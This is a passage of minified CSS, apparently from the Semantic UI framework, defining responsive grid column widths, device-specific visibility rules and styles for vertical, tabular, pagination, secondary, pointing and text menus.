rgba(34,36,38,.15)}.ui[class*="computer reversed"].divided.grid:not([class*="vertically divided"])>.column:last-child,.ui[class*="computer reversed"].divided.grid:not([class*="vertically divided"])>.row>.column:last-child{box-shadow:none}.ui.grid[class*="vertically divided"][class*="computer vertically reversed"]>.row:first-child:before{box-shadow:0 -1px 0 0 rgba(34,36,38,.15)}.ui.grid[class*="vertically divided"][class*="computer vertically reversed"]>.row:last-child:before{box-shadow:none}.ui[class*="computer reversed"].celled.grid>.row>.column:first-child{box-shadow:-1px 0 0 0 #D4D4D5}.ui[class*="computer reversed"].celled.grid>.row>.column:last-child{box-shadow:none}}@media only screen and (min-width:768px) and (max-width:991px){.ui.doubling.grid{width:auto}.ui.doubling.grid>.row,.ui.grid>.doubling.row{margin:0!important;padding:0!important}.ui.doubling.grid>.row>.column,.ui.grid>.doubling.row>.column{display:inline-block!important;padding-top:1rem!important;padding-bottom:1rem!important;box-shadow:none!important;margin:0}.ui.grid>[class*="two column"].doubling.row.row>.column,.ui[class*="two column"].doubling.grid>.column:not(.row),.ui[class*="two column"].doubling.grid>.row>.column{width:100%!important}.ui.grid>[class*="three column"].doubling.row.row>.column,.ui.grid>[class*="four column"].doubling.row.row>.column,.ui[class*="three column"].doubling.grid>.column:not(.row),.ui[class*="three column"].doubling.grid>.row>.column,.ui[class*="four column"].doubling.grid>.column:not(.row),.ui[class*="four column"].doubling.grid>.row>.column{width:50%!important}.ui.grid>[class*="five column"].doubling.row.row>.column,.ui.grid>[class*="six column"].doubling.row.row>.column,.ui.grid>[class*="seven column"].doubling.row.row>.column,.ui[class*="five column"].doubling.grid>.column:not(.row),.ui[class*="five column"].doubling.grid>.row>.column,.ui[class*="six column"].doubling.grid>.column:not(.row),.ui[class*="six column"].doubling.grid>.row>.column,.ui[class*="seven column"].doubling.grid>.column:not(.row),.ui[class*="seven column"].doubling.grid>.row>.column{width:33.33333333%!important}.ui.grid>[class*="eight column"].doubling.row.row>.column,.ui.grid>[class*="nine column"].doubling.row.row>.column,.ui[class*="eight column"].doubling.grid>.column:not(.row),.ui[class*="eight column"].doubling.grid>.row>.column,.ui[class*="nine column"].doubling.grid>.column:not(.row),.ui[class*="nine column"].doubling.grid>.row>.column{width:25%!important}.ui.grid>[class*="ten column"].doubling.row.row>.column,.ui.grid>[class*="eleven column"].doubling.row.row>.column,.ui[class*="ten column"].doubling.grid>.column:not(.row),.ui[class*="ten column"].doubling.grid>.row>.column,.ui[class*="eleven column"].doubling.grid>.column:not(.row),.ui[class*="eleven column"].doubling.grid>.row>.column{width:20%!important}.ui.grid>[class*="twelve column"].doubling.row.row>.column,.ui.grid>[class*="thirteen column"].doubling.row.row>.column,.ui[class*="twelve column"].doubling.grid>.column:not(.row),.ui[class*="twelve column"].doubling.grid>.row>.column,.ui[class*="thirteen column"].doubling.grid>.column:not(.row),.ui[class*="thirteen column"].doubling.grid>.row>.column{width:16.66666667%!important}.ui.grid>[class*="fourteen column"].doubling.row.row>.column,.ui.grid>[class*="fifteen column"].doubling.row.row>.column,.ui[class*="fourteen column"].doubling.grid>.column:not(.row),.ui[class*="fourteen column"].doubling.grid>.row>.column,.ui[class*="fifteen column"].doubling.grid>.column:not(.row),.ui[class*="fifteen column"].doubling.grid>.row>.column{width:14.28571429%!important}.ui.grid>[class*="sixteen column"].doubling.row.row>.column,.ui[class*="sixteen column"].doubling.grid>.column:not(.row),.ui[class*="sixteen column"].doubling.grid>.row>.column{width:12.5%!important}.ui.grid.grid.grid>.row>[class*="computer only"].column:not(.tablet),.ui.grid.grid.grid>.row>[class*="large screen only"].column:not(.mobile),.ui.grid.grid.grid>.row>[class*="widescreen only"].column:not(.mobile),.ui.grid.grid.grid>.row>[class*="mobile only"].column:not(.tablet),.ui.grid.grid.grid>[class*="computer only"].column:not(.tablet),.ui.grid.grid.grid>[class*="computer only"].row:not(.tablet),.ui.grid.grid.grid>[class*="large screen only"].column:not(.mobile),.ui.grid.grid.grid>[class*="large screen only"].row:not(.mobile),.ui.grid.grid.grid>[class*="widescreen only"].column:not(.mobile),.ui.grid.grid.grid>[class*="widescreen only"].row:not(.mobile),.ui.grid.grid.grid>[class*="mobile only"].column:not(.tablet),.ui.grid.grid.grid>[class*="mobile only"].row:not(.tablet),.ui[class*="computer only"].grid.grid.grid:not(.tablet),.ui[class*="large screen only"].grid.grid.grid:not(.mobile),.ui[class*="widescreen only"].grid.grid.grid:not(.mobile),.ui[class*="mobile only"].grid.grid.grid:not(.tablet){display:none!important}}@media only screen and (max-width:767px){.ui.doubling.grid>.row,.ui.grid>.doubling.row{margin:0!important;padding:0!important}.ui.doubling.grid>.row>.column,.ui.grid>.doubling.row>.column{padding-top:1rem!important;padding-bottom:1rem!important;margin:0!important;box-shadow:none!important}.ui.grid>[class*="two column"].doubling:not(.stackable).row.row>.column,.ui[class*="two column"].doubling:not(.stackable).grid>.column:not(.row),.ui[class*="two column"].doubling:not(.stackable).grid>.row>.column{width:100%!important}.ui.grid>[class*="three column"].doubling:not(.stackable).row.row>.column,.ui.grid>[class*="four column"].doubling:not(.stackable).row.row>.column,.ui.grid>[class*="five column"].doubling:not(.stackable).row.row>.column,.ui.grid>[class*="six column"].doubling:not(.stackable).row.row>.column,.ui.grid>[class*="seven column"].doubling:not(.stackable).row.row>.column,.ui.grid>[class*="eight column"].doubling:not(.stackable).row.row>.column,.ui[class*="three column"].doubling:not(.stackable).grid>.column:not(.row),.ui[class*="three column"].doubling:not(.stackable).grid>.row>.column,.ui[class*="four column"].doubling:not(.stackable).grid>.column:not(.row),.ui[class*="four column"].doubling:not(.stackable).grid>.row>.column,.ui[class*="five column"].doubling:not(.stackable).grid>.column:not(.row),.ui[class*="five column"].doubling:not(.stackable).grid>.row>.column,.ui[class*="six column"].doubling:not(.stackable).grid>.column:not(.row),.ui[class*="six column"].doubling:not(.stackable).grid>.row>.column,.ui[class*="seven column"].doubling:not(.stackable).grid>.column:not(.row),.ui[class*="seven column"].doubling:not(.stackable).grid>.row>.column,.ui[class*="eight column"].doubling:not(.stackable).grid>.column:not(.row),.ui[class*="eight column"].doubling:not(.stackable).grid>.row>.column{width:50%!important}.ui.grid>[class*="nine column"].doubling:not(.stackable).row.row>.column,.ui.grid>[class*="ten column"].doubling:not(.stackable).row.row>.column,.ui.grid>[class*="eleven column"].doubling:not(.stackable).row.row>.column,.ui.grid>[class*="twelve column"].doubling:not(.stackable).row.row>.column,.ui.grid>[class*="thirteen column"].doubling:not(.stackable).row.row>.column,.ui[class*="nine column"].doubling:not(.stackable).grid>.column:not(.row),.ui[class*="nine column"].doubling:not(.stackable).grid>.row>.column,.ui[class*="ten column"].doubling:not(.stackable).grid>.column:not(.row),.ui[class*="ten column"].doubling:not(.stackable).grid>.row>.column,.ui[class*="eleven column"].doubling:not(.stackable).grid>.column:not(.row),.ui[class*="eleven column"].doubling:not(.stackable).grid>.row>.column,.ui[class*="twelve column"].doubling:not(.stackable).grid>.column:not(.row),.ui[class*="twelve column"].doubling:not(.stackable).grid>.row>.column,.ui[class*="thirteen column"].doubling:not(.stackable).grid>.column:not(.row),.ui[class*="thirteen column"].doubling:not(.stackable).grid>.row>.column{width:33.33333333%!important}.ui.grid>[class*="fourteen column"].doubling:not(.stackable).row.row>.column,.ui.grid>[class*="fifteen column"].doubling:not(.stackable).row.row>.column,.ui.grid>[class*="sixteen column"].doubling:not(.stackable).row.row>.column,.ui[class*="fourteen column"].doubling:not(.stackable).grid>.column:not(.row),.ui[class*="fourteen column"].doubling:not(.stackable).grid>.row>.column,.ui[class*="fifteen column"].doubling:not(.stackable).grid>.column:not(.row),.ui[class*="fifteen column"].doubling:not(.stackable).grid>.row>.column,.ui[class*="sixteen column"].doubling:not(.stackable).grid>.column:not(.row),.ui[class*="sixteen column"].doubling:not(.stackable).grid>.row>.column{width:25%!important}.ui.stackable.grid{width:auto;margin-left:0!important;margin-right:0!important}.ui.grid>.stackable.stackable.row>.column,.ui.stackable.grid>.column.grid>.column,.ui.stackable.grid>.column.row>.column,.ui.stackable.grid>.column:not(.row),.ui.stackable.grid>.row>.column,.ui.stackable.grid>.row>.wide.column,.ui.stackable.grid>.wide.column{width:100%!important;margin:0!important;box-shadow:none!important;padding:1rem!important}.ui.stackable.grid:not(.vertically)>.row{margin:0;padding:0}.ui.container>.ui.stackable.grid>.column,.ui.container>.ui.stackable.grid>.row>.column{padding-left:0!important;padding-right:0!important}.ui.grid .ui.stackable.grid,.ui.segment:not(.vertical) .ui.stackable.page.grid{margin-left:-1rem!important;margin-right:-1rem!important}.ui.stackable.celled.grid>.column:not(.row):first-child,.ui.stackable.celled.grid>.row:first-child>.column:first-child,.ui.stackable.divided.grid>.column:not(.row):first-child,.ui.stackable.divided.grid>.row:first-child>.column:first-child{border-top:none!important}.ui.inverted.stackable.celled.grid>.column:not(.row),.ui.inverted.stackable.celled.grid>.row>.column,.ui.inverted.stackable.divided.grid>.column:not(.row),.ui.inverted.stackable.divided.grid>.row>.column{border-top:1px solid rgba(255,255,255,.1)}.ui.stackable.celled.grid>.column:not(.row),.ui.stackable.celled.grid>.row>.column,.ui.stackable.divided:not(.vertically).grid>.column:not(.row),.ui.stackable.divided:not(.vertically).grid>.row>.column{border-top:1px solid rgba(34,36,38,.15);box-shadow:none!important;padding-top:2rem!important;padding-bottom:2rem!important}.ui.stackable.celled.grid>.row{box-shadow:none!important}.ui.stackable.divided:not(.vertically).grid>.column:not(.row),.ui.stackable.divided:not(.vertically).grid>.row>.column{padding-left:0!important;padding-right:0!important}.ui.grid.grid.grid>.row>[class*="tablet only"].column:not(.mobile),.ui.grid.grid.grid>.row>[class*="computer only"].column:not(.mobile),.ui.grid.grid.grid>.row>[class*="large screen only"].column:not(.mobile),.ui.grid.grid.grid>.row>[class*="widescreen only"].column:not(.mobile),.ui.grid.grid.grid>[class*="tablet only"].column:not(.mobile),.ui.grid.grid.grid>[class*="tablet only"].row:not(.mobile),.ui.grid.grid.grid>[class*="computer only"].column:not(.mobile),.ui.grid.grid.grid>[class*="computer only"].row:not(.mobile),.ui.grid.grid.grid>[class*="large screen only"].column:not(.mobile),.ui.grid.grid.grid>[class*="large screen only"].row:not(.mobile),.ui.grid.grid.grid>[class*="widescreen only"].column:not(.mobile),.ui.grid.grid.grid>[class*="widescreen only"].row:not(.mobile),.ui[class*="tablet only"].grid.grid.grid:not(.mobile),.ui[class*="computer only"].grid.grid.grid:not(.mobile),.ui[class*="large screen only"].grid.grid.grid:not(.mobile),.ui[class*="widescreen only"].grid.grid.grid:not(.mobile){display:none!important}}@media only screen and (min-width:992px) and (max-width:1199px){.ui.grid.grid.grid>.row>[class*="tablet only"].column:not(.computer),.ui.grid.grid.grid>.row>[class*="large screen only"].column:not(.mobile),.ui.grid.grid.grid>.row>[class*="widescreen only"].column:not(.mobile),.ui.grid.grid.grid>.row>[class*="mobile only"].column:not(.computer),.ui.grid.grid.grid>[class*="tablet only"].column:not(.computer),.ui.grid.grid.grid>[class*="tablet only"].row:not(.computer),.ui.grid.grid.grid>[class*="large screen only"].column:not(.mobile),.ui.grid.grid.grid>[class*="large screen only"].row:not(.mobile),.ui.grid.grid.grid>[class*="widescreen only"].column:not(.mobile),.ui.grid.grid.grid>[class*="widescreen only"].row:not(.mobile),.ui.grid.grid.grid>[class*="mobile only"].column:not(.computer),.ui.grid.grid.grid>[class*="mobile only"].row:not(.computer),.ui[class*="tablet only"].grid.grid.grid:not(.computer),.ui[class*="large screen only"].grid.grid.grid:not(.mobile),.ui[class*="widescreen only"].grid.grid.grid:not(.mobile),.ui[class*="mobile only"].grid.grid.grid:not(.computer){display:none!important}}@media only screen and (min-width:1200px) and (max-width:1919px){.ui.grid.grid.grid>.row>[class*="tablet only"].column:not(.computer),.ui.grid.grid.grid>.row>[class*="widescreen only"].column:not(.mobile),.ui.grid.grid.grid>.row>[class*="mobile only"].column:not(.computer),.ui.grid.grid.grid>[class*="tablet only"].column:not(.computer),.ui.grid.grid.grid>[class*="tablet only"].row:not(.computer),.ui.grid.grid.grid>[class*="widescreen only"].column:not(.mobile),.ui.grid.grid.grid>[class*="widescreen only"].row:not(.mobile),.ui.grid.grid.grid>[class*="mobile only"].column:not(.computer),.ui.grid.grid.grid>[class*="mobile only"].row:not(.computer),.ui[class*="tablet only"].grid.grid.grid:not(.computer),.ui[class*="widescreen only"].grid.grid.grid:not(.mobile),.ui[class*="mobile only"].grid.grid.grid:not(.computer){display:none!important}}@media only screen and (min-width:1920px){.ui.grid.grid.grid>.row>[class*="tablet only"].column:not(.computer),.ui.grid.grid.grid>.row>[class*="mobile only"].column:not(.computer),.ui.grid.grid.grid>[class*="tablet only"].column:not(.computer),.ui.grid.grid.grid>[class*="tablet only"].row:not(.computer),.ui.grid.grid.grid>[class*="mobile only"].column:not(.computer),.ui.grid.grid.grid>[class*="mobile only"].row:not(.computer),.ui[class*="tablet only"].grid.grid.grid:not(.computer),.ui[class*="mobile only"].grid.grid.grid:not(.computer){display:none!important}}.ui.menu{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;margin:1rem 0;background:#FFF;font-weight:400;border:1px solid rgba(34,36,38,.15);box-shadow:0 1px 2px 0 rgba(34,36,38,.15);border-radius:.28571429rem;min-height:2.85714286em}.ui.menu:after{content:'';display:block;height:0;clear:both;visibility:hidden}.ui.menu:first-child{margin-top:0}.ui.menu:last-child{margin-bottom:0}.ui.menu .menu{margin:0}.ui.menu:not(.vertical)>.menu{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.ui.menu:not(.vertical) .item{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.ui.menu .item{position:relative;vertical-align:middle;line-height:1;text-decoration:none;-webkit-tap-highlight-color:transparent;-webkit-box-flex:0;-webkit-flex:0 0 auto;-ms-flex:0 0 auto;flex:0 0 auto;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;background:0 0;padding:.92857143em 1.14285714em;text-transform:none;color:rgba(0,0,0,.87);font-weight:400;-webkit-transition:background .1s ease,box-shadow .1s ease,color .1s ease;transition:background .1s ease,box-shadow .1s ease,color .1s ease}.ui.menu>.item:first-child{border-radius:.28571429rem 0 0 .28571429rem}.ui.menu .item:before{position:absolute;content:'';top:0;right:0;height:100%;width:1px;background:rgba(34,36,38,.1)}.ui.menu .item>a:not(.ui),.ui.menu .item>p:only-child,.ui.menu .text.item>*{-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;user-select:text;line-height:1.3}.ui.menu .item>p:first-child{margin-top:0}.ui.menu .item>p:last-child{margin-bottom:0}.ui.menu .item>i.icon{opacity:.9;float:none;margin:0 .35714286em 0 0}.ui.menu:not(.vertical) .item>.button{position:relative;top:0;margin:-.5em 0;padding-bottom:.78571429em;padding-top:.78571429em;font-size:1em}.ui.menu>.container,.ui.menu>.grid{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:inherit;-webkit-align-items:inherit;-ms-flex-align:inherit;align-items:inherit;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:inherit;-ms-flex-direction:inherit;flex-direction:inherit}.ui.menu .item>.input{width:100%}.ui.menu:not(.vertical) .item>.input{position:relative;top:0;margin:-.5em 0}.ui.menu .item>.input input{font-size:1em;padding-top:.57142857em;padding-bottom:.57142857em}.ui.menu .header.item,.ui.vertical.menu .header.item{margin:0;background:0 0;text-transform:normal;font-weight:700}.ui.vertical.menu .item>.header:not(.ui){margin:0 0 .5em;font-size:1em;font-weight:700}.ui.menu .item>i.dropdown.icon{padding:0;float:right;margin:0 0 0 1em}.ui.menu .dropdown.item .menu{left:0;min-width:calc(100% - 1px);border-radius:0 0 .28571429rem .28571429rem;background:#FFF;margin:0;box-shadow:0 1px 3px 0 rgba(0,0,0,.08);-webkit-box-orient:vertical!important;-webkit-box-direction:normal!important;-webkit-flex-direction:column!important;-ms-flex-direction:column!important;flex-direction:column!important}.ui.menu .ui.dropdown .menu>.item{margin:0;text-align:left;font-size:1em!important;padding:.78571429em 1.14285714em!important;background:0 0!important;color:rgba(0,0,0,.87)!important;text-transform:none!important;font-weight:400!important;box-shadow:none!important;-webkit-transition:none!important;transition:none!important}.ui.menu .ui.dropdown .menu>.item:hover,.ui.menu .ui.dropdown .menu>.selected.item{background:rgba(0,0,0,.05)!important;color:rgba(0,0,0,.95)!important}.ui.menu .ui.dropdown .menu>.active.item{background:rgba(0,0,0,.03)!important;font-weight:700!important;color:rgba(0,0,0,.95)!important}.ui.menu .ui.dropdown.item .menu .item:not(.filtered){display:block}.ui.menu .ui.dropdown .menu>.item .icon:not(.dropdown){display:inline-block;font-size:1em!important;float:none;margin:0 .75em 0 0}.ui.secondary.menu .dropdown.item>.menu,.ui.text.menu .dropdown.item>.menu{border-radius:.28571429rem;margin-top:.35714286em}.ui.menu .pointing.dropdown.item .menu{margin-top:.75em}.ui.inverted.menu .search.dropdown.item>.search,.ui.inverted.menu .search.dropdown.item>.text{color:rgba(255,255,255,.9)}.ui.vertical.menu .dropdown.item>.icon{float:right;content:"\f0da";margin-left:1em}.ui.vertical.menu .dropdown.item .menu{left:100%;min-width:0;margin:0;box-shadow:0 1px 3px 0 rgba(0,0,0,.08);border-radius:0 .28571429rem .28571429rem}.ui.vertical.menu .dropdown.item.upward .menu{bottom:0}.ui.vertical.menu .dropdown.item:not(.upward) .menu{top:0}.ui.vertical.menu .active.dropdown.item{border-top-right-radius:0;border-bottom-right-radius:0}.ui.vertical.menu .dropdown.active.item{box-shadow:none}.ui.item.menu .dropdown .menu .item{width:100%}.ui.menu .item>.label{background:#999;color:#FFF;margin-left:1em;padding:.3em .78571429em}.ui.vertical.menu .item>.label{background:#999;color:#FFF;margin-top:-.15em;margin-bottom:-.15em;padding:.3em .78571429em;float:right;text-align:center}.ui.menu .item>.floating.label{padding:.3em .78571429em}.ui.menu .item>img:not(.ui){display:inline-block;vertical-align:middle;margin:-.3em 0;width:2.5em}.ui.vertical.menu .item>img:not(.ui):only-child{display:block;max-width:100%;width:auto}.ui.vertical.sidebar.menu>.item:first-child:before{display:block!important}.ui.vertical.sidebar.menu>.item::before{top:auto;bottom:0}@media only screen and (max-width:767px){.ui.menu>.ui.container{width:100%!important;margin-left:0!important;margin-right:0!important}}@media only screen and (min-width:768px){.ui.menu:not(.secondary):not(.text):not(.tabular):not(.borderless)>.container>.item:not(.right):not(.borderless):first-child{border-left:1px solid rgba(34,36,38,.1)}}.ui.link.menu .item:hover,.ui.menu .dropdown.item:hover,.ui.menu .link.item:hover,.ui.menu a.item:hover{cursor:pointer;background:rgba(0,0,0,.03);color:rgba(0,0,0,.95)}.ui.link.menu .item:active,.ui.menu .link.item:active,.ui.menu a.item:active{background:rgba(0,0,0,.03);color:rgba(0,0,0,.95)}.ui.menu .active.item{background:rgba(0,0,0,.05);color:rgba(0,0,0,.95);font-weight:400;box-shadow:none}.ui.menu .active.item>i.icon{opacity:1}.ui.menu .active.item:hover,.ui.vertical.menu .active.item:hover{background-color:rgba(0,0,0,.05);color:rgba(0,0,0,.95)}.ui.menu .item.disabled,.ui.menu .item.disabled:hover{cursor:default;background-color:transparent!important;color:rgba(40,40,40,.3)}.ui.menu:not(.vertical) .left.item,.ui.menu:not(.vertical) .left.menu{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;margin-right:auto!important}.ui.menu:not(.vertical) .right.item,.ui.menu:not(.vertical) .right.menu{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;margin-left:auto!important}.ui.menu .right.item::before,.ui.menu .right.menu>.item::before{right:auto;left:0}.ui.vertical.menu{display:block;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;background:#FFF;box-shadow:0 1px 2px 0 rgba(34,36,38,.15)}.ui.vertical.menu .item{display:block;background:0 0;border-top:none;border-right:none}.ui.vertical.menu>.item:first-child{border-radius:.28571429rem .28571429rem 0 0}.ui.vertical.menu>.item:last-child{border-radius:0 0 .28571429rem .28571429rem}.ui.vertical.menu .item>i.icon{width:1.18em;float:right;margin:0 0 0 .5em}.ui.vertical.menu .item>.label+i.icon{float:none;margin:0 .5em 0 0}.ui.vertical.menu .item:before{position:absolute;content:'';top:0;left:0;width:100%;height:1px;background:rgba(34,36,38,.1)}.ui.vertical.menu .item:first-child:before{display:none!important}.ui.vertical.menu .item>.menu{margin:.5em -1.14285714em 0}.ui.vertical.menu .menu .item{background:0 0;padding:.5em 1.33333333em;font-size:.85714286em;color:rgba(0,0,0,.5)}.ui.vertical.menu .item .menu .link.item:hover,.ui.vertical.menu .item .menu a.item:hover{color:rgba(0,0,0,.85)}.ui.vertical.menu .menu .item:before{display:none}.ui.vertical.menu .active.item{background:rgba(0,0,0,.05);border-radius:0;box-shadow:none}.ui.vertical.menu>.active.item:first-child{border-radius:.28571429rem .28571429rem 0 0}.ui.vertical.menu>.active.item:last-child{border-radius:0 0 .28571429rem .28571429rem}.ui.vertical.menu>.active.item:only-child{border-radius:.28571429rem}.ui.vertical.menu .active.item .menu .active.item{border-left:none}.ui.vertical.menu .item .menu .active.item{background-color:transparent;font-weight:700;color:rgba(0,0,0,.95)}.ui.tabular.menu{border-radius:0;box-shadow:none!important;border:none;background:none;border-bottom:1px solid #D4D4D5}.ui.tabular.fluid.menu{width:calc(100% + 2px)!important}.ui.tabular.menu .item{background:0 0;border-bottom:none;border-left:1px solid transparent;border-right:1px solid transparent;border-top:2px solid transparent;padding:.92857143em 1.42857143em;color:rgba(0,0,0,.87)}.ui.tabular.menu .item:before{display:none}.ui.tabular.menu .item:hover{background-color:transparent;color:rgba(0,0,0,.8)}.ui.tabular.menu .active.item{background:#FFF;color:rgba(0,0,0,.95);border-top-width:1px;border-color:#D4D4D5;font-weight:700;margin-bottom:-1px;box-shadow:none;border-radius:.28571429rem .28571429rem 0 0!important}.ui.tabular.menu+.attached:not(.top).segment,.ui.tabular.menu+.attached:not(.top).segment+.attached:not(.top).segment{border-top:none;margin-left:0;margin-top:0;margin-right:0;width:100%}.top.attached.segment+.ui.bottom.tabular.menu{position:relative;width:calc(100% + 2px);left:-1px}.ui.bottom.tabular.menu{background:none;border-radius:0;box-shadow:none!important;border-bottom:none;border-top:1px solid #D4D4D5}.ui.bottom.tabular.menu .item{background:0 0;border-left:1px solid transparent;border-right:1px solid transparent;border-bottom:1px solid transparent;border-top:none}.ui.bottom.tabular.menu .active.item{background:#FFF;color:rgba(0,0,0,.95);border-color:#D4D4D5;margin:-1px 0 0;border-radius:0 0 .28571429rem .28571429rem!important}.ui.vertical.tabular.menu{background:none;border-radius:0;box-shadow:none!important;border-bottom:none;border-right:1px solid #D4D4D5}.ui.vertical.tabular.menu .item{background:0 0;border-left:1px solid transparent;border-bottom:1px solid transparent;border-top:1px solid transparent;border-right:none}.ui.vertical.tabular.menu .active.item{background:#FFF;color:rgba(0,0,0,.95);border-color:#D4D4D5;margin:0 -1px 0 0;border-radius:.28571429rem 0 0 .28571429rem!important}.ui.vertical.right.tabular.menu{background:none;border-radius:0;box-shadow:none!important;border-bottom:none;border-right:none;border-left:1px solid #D4D4D5}.ui.vertical.right.tabular.menu .item{background:0 0;border-right:1px solid transparent;border-bottom:1px solid transparent;border-top:1px solid transparent;border-left:none}.ui.vertical.right.tabular.menu .active.item{background:#FFF;color:rgba(0,0,0,.95);border-color:#D4D4D5;margin:0 0 0 -1px;border-radius:0 .28571429rem .28571429rem 0!important}.ui.tabular.menu .active.dropdown.item{margin-bottom:0;border-left:1px solid transparent;border-right:1px solid transparent;border-top:2px solid transparent;border-bottom:none}.ui.pagination.menu{margin:0;display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex;vertical-align:middle}.ui.pagination.menu .item:last-child{border-radius:0 .28571429rem .28571429rem 0}.ui.pagination.menu .item:last-child:before{display:none}.ui.pagination.menu .item{min-width:3em;text-align:center}.ui.pagination.menu .icon.item i.icon{vertical-align:top}.ui.pagination.menu .active.item{border-top:none;padding-top:.92857143em;background-color:rgba(0,0,0,.05);color:rgba(0,0,0,.95);box-shadow:none}.ui.secondary.menu{background:0 0;margin-left:-.35714286em;margin-right:-.35714286em;border-radius:0;border:none;box-shadow:none}.ui.secondary.menu .item{-webkit-align-self:center;-ms-flex-item-align:center;align-self:center;box-shadow:none;border:none;padding:.78571429em .92857143em;margin:0 .35714286em;background:0 0;-webkit-transition:color .1s ease;transition:color .1s ease;border-radius:.28571429rem}.ui.secondary.menu .item:before{display:none!important}.ui.secondary.menu .header.item{border-radius:0;border-right:none;background:none}.ui.secondary.menu .item>img:not(.ui){margin:0}.ui.secondary.menu .dropdown.item:hover,.ui.secondary.menu .link.item:hover,.ui.secondary.menu a.item:hover{background:rgba(0,0,0,.05);color:rgba(0,0,0,.95)}.ui.secondary.menu .active.item{box-shadow:none;background:rgba(0,0,0,.05);color:rgba(0,0,0,.95);border-radius:.28571429rem}.ui.secondary.menu .active.item:hover{box-shadow:none;background:rgba(0,0,0,.05);color:rgba(0,0,0,.95)}.ui.secondary.inverted.menu .link.item,.ui.secondary.inverted.menu a.item{color:rgba(255,255,255,.7)!important}.ui.secondary.inverted.menu .dropdown.item:hover,.ui.secondary.inverted.menu .link.item:hover,.ui.secondary.inverted.menu a.item:hover{background:rgba(255,255,255,.08);color:#fff!important}.ui.secondary.inverted.menu .active.item{background:rgba(255,255,255,.15);color:#fff!important}.ui.secondary.item.menu{margin-left:0;margin-right:0}.ui.secondary.item.menu .item:last-child{margin-right:0}.ui.secondary.attached.menu{box-shadow:none}.ui.vertical.secondary.menu .item:not(.dropdown)>.menu{margin:0 -.92857143em}.ui.vertical.secondary.menu .item:not(.dropdown)>.menu>.item{margin:0;padding:.5em 1.33333333em}.ui.secondary.vertical.menu>.item{border:none;margin:0 0 .35714286em;border-radius:.28571429rem!important}.ui.secondary.vertical.menu>.header.item{border-radius:0}.ui.secondary.inverted.menu,.ui.vertical.secondary.menu .item>.menu .item{background-color:transparent}.ui.secondary.pointing.menu{margin-left:0;margin-right:0;border-bottom:2px solid rgba(34,36,38,.15)}.ui.secondary.pointing.menu .item{border-bottom-color:transparent;border-bottom-style:solid;border-radius:0;-webkit-align-self:flex-end;-ms-flex-item-align:end;align-self:flex-end;margin:0 0 -2px;padding:.85714286em 1.14285714em;border-bottom-width:2px;-webkit-transition:color .1s ease;transition:color .1s ease}.ui.secondary.pointing.menu .header.item{color:rgba(0,0,0,.85)!important}.ui.secondary.pointing.menu .text.item{box-shadow:none!important}.ui.secondary.pointing.menu .item:after{display:none}.ui.secondary.pointing.menu .dropdown.item:hover,.ui.secondary.pointing.menu .link.item:hover,.ui.secondary.pointing.menu a.item:hover{background-color:transparent;color:rgba(0,0,0,.87)}.ui.secondary.pointing.menu .dropdown.item:active,.ui.secondary.pointing.menu .link.item:active,.ui.secondary.pointing.menu a.item:active{background-color:transparent;border-color:rgba(34,36,38,.15)}.ui.secondary.pointing.menu .active.item{background-color:transparent;box-shadow:none;border-color:#1B1C1D;font-weight:700;color:rgba(0,0,0,.95)}.ui.secondary.pointing.menu .active.item:hover{border-color:#1B1C1D;color:rgba(0,0,0,.95)}.ui.secondary.pointing.menu .active.dropdown.item{border-color:transparent}.ui.secondary.vertical.pointing.menu{border-bottom-width:0;border-right-width:2px;border-right-style:solid;border-right-color:rgba(34,36,38,.15)}.ui.secondary.vertical.pointing.menu .item{border-bottom:none;border-right-style:solid;border-right-color:transparent;border-radius:0!important;margin:0 -2px 0 0;border-right-width:2px}.ui.secondary.vertical.pointing.menu .active.item{border-color:#1B1C1D}.ui.secondary.inverted.pointing.menu{border-width:2px;border-color:rgba(34,36,38,.15)}.ui.secondary.inverted.pointing.menu .item{color:rgba(255,255,255,.9)}.ui.secondary.inverted.pointing.menu .header.item{color:#FFF!important}.ui.secondary.inverted.pointing.menu .link.item:hover,.ui.secondary.inverted.pointing.menu a.item:hover{color:rgba(0,0,0,.95)}.ui.secondary.inverted.pointing.menu .active.item{border-color:#FFF;color:#fff}.ui.text.menu{background:none;border-radius:0;box-shadow:none;border:none;margin:1em -.5em}.ui.text.menu .item{border-radius:0;box-shadow:none;-webkit-align-self:center;-ms-flex-item-align:center;align-self:center;margin:0;padding:.35714286em .5em;font-weight:400;color:rgba(0,0,0,.6);-webkit-transition:opacity .1s ease;transition:opacity .1s ease}.ui.text.menu .item:before,.ui.text.menu .menu .item:before{display:none!important}.ui.text.menu .header.item{background-color:transparent;opacity:1;color:rgba(0,0,0,.85);font-size:.92857143em;text-transform:uppercase;font-weight:700}.ui.text.item.menu .item,.ui.text.menu .item>img:not(.ui){margin:0}.ui.vertical.text.menu{margin:1em 0}.ui.vertical.text.menu:first-child{margin-top:0}.ui.vertical.text.menu:last-child{margin-bottom:0}.ui.vertical.text.menu .item{margin:.57142857em 0;padding-left:0;padding-right:0}.ui.vertical.text.menu .item>i.icon{float:none;margin:0 .35714286em 0 0}.ui.vertical.text.menu .header.item{margin:.57142857em 0 .71428571em}.ui.vertical.text.menu .item:not(.dropdown)>.menu{margin:0}.ui.vertical.text.menu .item:not(.dropdown)>.menu>.item{margin:0;padding:.5em 0}.ui.text.menu .item:hover{opacity:1;background-color:transparent}.ui.text.menu .active.item{background-color:transparent;border:none;box-shadow:none;font-weight:400;color:rgba(0,0,0,.95)}.ui.text.menu .active.item:hover{background-color:transparent}.ui.text.attached.menu,.ui.text.pointing.menu .active.item:after{box-shadow:none}.ui.inverted.text.menu,.ui.inverted.text.menu .active.item,.ui.inverted.text.menu .item,.ui.inverted.text.menu 